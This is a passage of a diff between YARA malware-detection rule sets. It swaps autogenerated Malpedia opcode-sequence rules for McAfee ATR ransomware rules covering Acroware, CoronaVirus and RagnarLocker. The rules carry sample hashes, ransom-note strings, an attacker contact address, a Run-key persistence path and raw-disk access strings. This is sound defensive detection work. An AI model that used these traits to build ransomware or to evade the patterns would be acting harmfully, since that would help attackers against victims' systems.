-		id = "5115d077-589f-5849-9e66-466eacfeb8fa"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tonedeaf_auto.yar#L1-L120"
-		license_url = "N/A"
-		logic_hash = "05f38897859076fdc96710dcc7b02a4e168a1e7a497536a51feb5fc01846d4dd"
+		description = "Rule to detect the ScreenLocker Acroware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "76eb69eb-dfe7-5629-bf2d-d20574efd662"
+		date = "2018-08-28"
+		modified = "2020-08-14"
+		reference = "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_acroware.yar#L1-L29"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "f9efcfc5328e6502cbbbff752a940ac221e437d8732052fc265618f6a6ad72ae"
+		logic_hash = "582f3544cf1f8066b1e9ac04c3a4cc9f0ba96804ca53bc3746b433df9c33e0a1"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Acroware"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { ff15???????? 56 ff15???????? 56 ff15???????? 56 e8???????? }
-		$sequence_1 = { 2bf1 8bc3 46 d1e8 }
-		$sequence_2 = { 8bc3 46 d1e8 33d2 }
-		$sequence_3 = { 8b45ec 85c0 740b 6a08 50 }
-		$sequence_4 = { 884c32ff 84c9 75f3 8bf3 8a03 43 84c0 }
-		$sequence_5 = { 8b5004 8d4af8 898c153cffffff 8d45a8 c745fc01000000 50 }
-		$sequence_6 = { 56 6a00 ff15???????? 56 ff15???????? 56 ff15???????? }
-		$sequence_7 = { 83f801 732f 8b0f 8bc1 }
-		$sequence_8 = { 0f57c0 c745dc00000000 33c0 660fd645d4 33db 8945d8 }
-		$sequence_9 = { 75f3 8bf3 8a03 43 84c0 75f9 }
+		$s1 = "C:\\Users\\patri\\Documents\\Visual Studio 2015\\Projects\\Advanced Ransi\\Advanced Ransi\\obj\\Debug\\Advanced Ransi.pdb" fullword ascii
+		$s2 = "All your Personal Data got encrypted and the decryption key is stored on a hidden" fullword ascii
+		$s3 = "alphaoil@mail2tor.com any try of removing this Ransomware will result in an instantly " fullword ascii
+		$s4 = "HKEY_CURRENT_USER\\SoftwareE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide
+		$s5 = "webserver, after 72 hours thedecryption key will get removed and your personal" fullword ascii
 
 	condition:
-		7 of them and filesize <851968
+		( uint16(0)==0x5a4d and filesize <2000KB) and all of them
 }
-rule MALPEDIA_Win_Xbot_Pos_Auto : FILE
+rule TRELLIX_ARC_Installer_Coronavirus : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4fe5918d-28da-56d9-a11a-0daee8e0859e"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xbot_pos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xbot_pos_auto.yar#L1-L128"
-		license_url = "N/A"
-		logic_hash = "ca7b720c096face03c032566840e8484d5e37cc5bc6f6baf53fbffd9b36ce27d"
+		description = "Rule to detect the Corona Virus Installer"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "2a224529-bfc7-57ed-91c3-426cae4b7895"
+		date = "2020-03-25"
+		modified = "2020-08-14"
+		reference = "https://twitter.com/malwrhunterteam/status/1238056503493505024"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_coronavirus.yar#L1-L41"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "5987a6e42c3412086b7c9067dc25f1aaa659b2b123581899e9df92cb7907a3ed"
+		logic_hash = "26be8bbfbf615967cc2a0e2d4179cd5f444c53f170a681d2ec236244881dc629"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 62
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/CoronaVirus"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8b8d50fcffff 8d148d34935500 899558fcffff 8d8d2cfeffff e8???????? 8b8558fcffff 0fb64803 }
-		$sequence_1 = { 46 4c 002c46 4c }
-		$sequence_2 = { 83e23f 6bc230 8b0c8de0465600 8b540118 8955f4 837df4ff 7412 }
-		$sequence_3 = { 8d8d74fcffff e8???????? eb1f 6a00 8d8560fcffff 50 8d8decfeffff }
-		$sequence_4 = { 8b4d08 51 8b4df8 e8???????? 8bf0 8b4df8 }
-		$sequence_5 = { 837d1800 740c c785d8deffffe8905400 eb0a c785d8deffff88905400 8b85a8deffff 50 }
-		$sequence_6 = { f3ab 0fb64508 85c0 741b 837d0c00 7515 8b4514 }
-		$sequence_7 = { 8b00 50 8b4df8 e8???????? 8b08 51 8b4df8 }
-		$sequence_8 = { 85db 7552 68???????? 68???????? 56 6a41 68???????? }
-		$sequence_9 = { 8b4508 8b0c853c255600 51 ff15???????? 8b5508 }
+		$s1 = { 61 63 68 65 6C 6C 69 65 73 40 68 6F 74 6D 61 69 6C 2E 63 6F 6D }
+		$s2 = { 74 6F 6A 65 6E 2E 6D 65 40 67 6D 61 69 6C 2E 63 6F 6D }
+		$s4 = { 77 61 6E 67 63 68 79 7A 40 67 6D 61 69 6C 2E 63 6F 6D }
+		$s5 = { 54 00 6F 00 64 00 6F 00 73 00 20 00 6C 00 6F 00 73 00 20 00 74 00 69 00 70 00 6F 00 73 00 20 00 64 00 65 00 20 00 69 00 6D 00 61 00 67 00 65 00 6E 00 7C 00 2A 00 2E 00 62 00 6D 00 70 00 3B 00 2A 00 2E 00 63 00 75 00 72 00 3B 00 2A 00 2E 00 64 00 69 00 62 00 3B 00 2A 00 2E 00 65 00 6D 00 66 00 3B 00 2A 00 2E 00 69 00 63 00 6F 00 3B 00 2A 00 2E 00 77 00 6D 00 66 00 7C 00 4D 00 61 00 70 00 61 00 73 00 20 00 64 00 65 00 20 00 62 00 69 00 74 00 73 00 20 00 28 00 2A 00 2E 00 62 00 6D 00 70 00 3B 00 2A 00 2E 00 64 00 69 00 62 00 29 00 7C 00 2A 00 2E 00 62 00 6D 00 70 00 3B 00 2A 00 2E 00 64 00 69 00 62 00 7C 00 49 00 63 00 6F 00 6E 00 6F 00 73 00 2F 00 63 00 75 00 72 00 73 00 6F 00 72 00 65 00 73 00 20 00 28 00 2A 00 2E 00 69 00 63 00 6F 00 3B 00 2A 00 2E 00 63 00 75 00 72 00 29 00 7C 00 2A 00 2E 00 69 00 63 00 6F 00 3B 00 2A 00 2E 00 63 00 75 00 72 00 7C 00 4D 00 65 00 74 00 61 00 61 00 72 00 63 00 68 00 69 00 76 00 6F 00 73 00 20 00 28 00 2A 00 2E 00 77 00 6D 00 66 00 3B 00 2A 00 2E 00 65 00 6D 00 66 00 29 00 7C 00 2A 00 2E 00 77 00 6D 00 66 00 3B 00 2A 00 2E 00 65 00 6D 00 66 00 7C 00 54 00 6F 00 64 00 6F 00 73 00 20 00 6C 00 6F 00 73 00 20 00 61 00 72 00 63 00 68 00 69 00 76 00 6F 00 73 00 20 00 28 00 2A 00 2E 00 2A 00 29 00 7C 00 2A 00 2E 00 2A 00 7C 00 7C 00 }
+		$s6 = { 48 00 54 00 4D 00 4C 00 5F 00 49 00 4D 00 47 00 23 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 41 00 47 00 45 00 53 00 5F 00 4C 00 49 00 5F 00 43 00 41 00 50 00 54 00 49 00 4F 00 4E 00 5F 00 48 00 4F 00 56 00 45 00 52 00 5F 00 50 00 4E 00 47 00 29 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 41 00 47 00 45 00 53 00 5F 00 53 00 42 00 5F 00 48 00 5F 00 53 00 43 00 52 00 4F 00 4C 00 4C 00 5F 00 50 00 52 00 45 00 56 00 5F 00 48 00 4F 00 56 00 45 00 52 00 5F 00 50 00 4E 00 47 00 31 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 47 00 5F 00 50 00 41 00 47 00 45 00 5F 00 54 00 49 00 54 00 4C 00 45 00 5F 00 49 00 43 00 4F 00 4E 00 5F 00 4D 00 45 00 4E 00 55 00 5F 00 4F 00 52 00 41 00 4E 00 47 00 45 00 5F 00 43 00 4C 00 4F 00 53 00 45 00 5F 00 50 00 4E 00 47 00 32 00 49 00 44 00 52 00 5F 00 48 00 54 00 4D 00 5F 00 49 00 4D 00 47 00 5F 00 50 00 41 00 47 00 45 00 5F 00 54 00 49 00 54 00 4C 00 45 00 5F 00 49 00 43 00 4F 00 4E 00 5F 00 4D 00 45 00 4E 00 55 00 5F 00 50 00 41 00 49 00 44 00 5F 00 53 00 45 00 54 00 54 00 49 00 4E 00 47 00 53 00 5F 00 50 00 4E 00 47 00 }
+		$s7 = { 25 73 5C 6C 6F 67 5F 25 30 34 64 25 30 32 64 25 30 32 64 5F 25 64 2E 6C 6F 67 }
 
 	condition:
-		7 of them and filesize <3031040
+		uint16(0)==0x5a4d and filesize <3000KB and all of them
 }
-rule MALPEDIA_Win_Brambul_Auto : FILE
+rule TRELLIX_ARC_Ransomware_Coronavirus : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fb37501d-8a53-5cc7-864b-a2eff1ebf028"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brambul"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.brambul_auto.yar#L1-L167"
-		license_url = "N/A"
-		logic_hash = "b2fcad7678e1145848466f51e53045ab3d4628142b8e9b03697218392aef0c7d"
+		description = "Rule to detect the Corona Virus ransomware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "4195a57b-cd51-5050-861a-6436f7ec4eca"
+		date = "2020-03-25"
+		modified = "2020-08-14"
+		reference = "https://twitter.com/malwrhunterteam/status/1238056503493505024"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_coronavirus.yar#L43-L80"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "3299f07bc0711b3587fe8a1c6bf3ee6bcbc14cb775f64b28a61d72ebcb8968d3"
+		logic_hash = "2a7e1676a20f30b0cb0321579bb85e4836e2aee5f56b838d2ff2bec7a08c489f"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 64
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/CoronaVirus"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 66390a 750c 663908 8dbc5dc4000000 }
-		$sequence_1 = { d3e0 48 234508 8d0440 }
-		$sequence_2 = { 83f801 7269 6a08 6a40 ff15???????? 8b542414 }
-		$sequence_3 = { 8bd9 33ee c1eb14 c1e10c }
-		$sequence_4 = { c1e311 0bf3 8b5824 03f2 23ee 33e9 }
-		$sequence_5 = { 6800400000 6a00 ff15???????? 50 ff15???????? 8bd8 }
-		$sequence_6 = { 6a05 89b5b049ffff 58 8985a849ffff }
-		$sequence_7 = { 25ffff0000 3bf8 7cc9 8bc6 5f 5e 5d }
-		$sequence_8 = { 8d54242c c1e902 f3a5 8bc8 8d442470 }
-		$sequence_9 = { 68???????? ff15???????? 83c408 b804000000 5f 5e 5d }
-		$sequence_10 = { 8b8c2480010000 89942418010000 8984241c010000 8d942418010000 51 8d84245c010000 }
-		$sequence_11 = { 8d45e8 50 8bf3 8d85be49ffff 83e31f 83a5b85dffff00 }
-		$sequence_12 = { 89b404bc000000 83c004 83f840 7cd0 b910000000 }
-		$sequence_13 = { 8d7c2420 f3ab 8d442424 50 56 53 }
-		$sequence_14 = { 50 e8???????? 83f8ff 7517 8d4c2410 }
-		$sequence_15 = { c3 8b442404 c74050f0864000 c7401401000000 }
+		$s1 = { 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 25 73 }
+		$s2 = { 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 }
+		$s3 = { 2F 00 75 00 70 00 6C 00 6F 00 61 00 64 00 2F 00 25 00 73 00 5F 00 25 00 64 00 5F 00 25 00 73 00 }
+		$s4 = { 53 59 53 54 45 4D 5C 43 75 72 72 65 6E 74 43 6F 6E 74 72 6F 6C 53 65 74 5C 43 6F 6E 74 72 6F 6C 5C 53 65 73 73 69 6F 6E 20 4D 61 6E 61 67 65 72 }
+		$s5 = { 5C 5C 2E 5C 50 68 79 73 69 63 61 6C 44 72 69 76 65 25 64 }
 
 	condition:
-		7 of them and filesize <188416
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule MALPEDIA_Win_Windealer_Auto : FILE
+import "pe"
+
+rule TRELLIX_ARC_Ragnarlocker_Ransomware : RANSOMWARE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f3b71a3e-a02a-5dce-bc43-cb374750ce4e"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.windealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.windealer_auto.yar#L1-L113"
-		license_url = "N/A"
-		logic_hash = "d82b81175389182c804642799536612f0047302d818841ec0b2b4fd9f2036f88"
+		description = "Rule to detect RagnarLocker samples"
+		author = "McAfee ATR Team"
+		id = "58874f27-3070-52c9-bd96-337fdaa4499b"
+		date = "2020-04-15"
+		modified = "2020-10-12"
+		reference = "https://www.bleepingcomputer.com/news/security/ragnar-locker-ransomware-targets-msp-enterprise-support-tools/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_ragnarlocker.yar#L3-L45"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "9706a97ffa43a0258571def8912dc2b8bf1ee207676052ad1b9c16ca9953fc2c"
+		logic_hash = "2f31da9182a1b47fb1e7e4459461de4c496ec323ff13e622d3ce27ac8cce1912"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 68
+		tags = "RANSOMWARE, FILE"
+		rule_version = "v1"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/RagnarLocker"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 50 56 e8???????? 83c410 8b4618 }
-		$sequence_1 = { 6a00 ff15???????? 85c0 7407 50 ff15???????? 6a01 }
-		$sequence_2 = { 6a04 50 6a04 68???????? 68???????? }
-		$sequence_3 = { 50 56 e8???????? 83c410 8b4610 }
-		$sequence_4 = { 53 56 57 68da070000 }
-		$sequence_5 = { 56 57 68da070000 e8???????? }
-		$sequence_6 = { 56 e8???????? 83c410 8b4610 }
-		$sequence_7 = { 6a01 50 56 e8???????? 83c410 8bc7 }
-		$sequence_8 = { 668b91d2070000 8a89d0070000 52 51 }
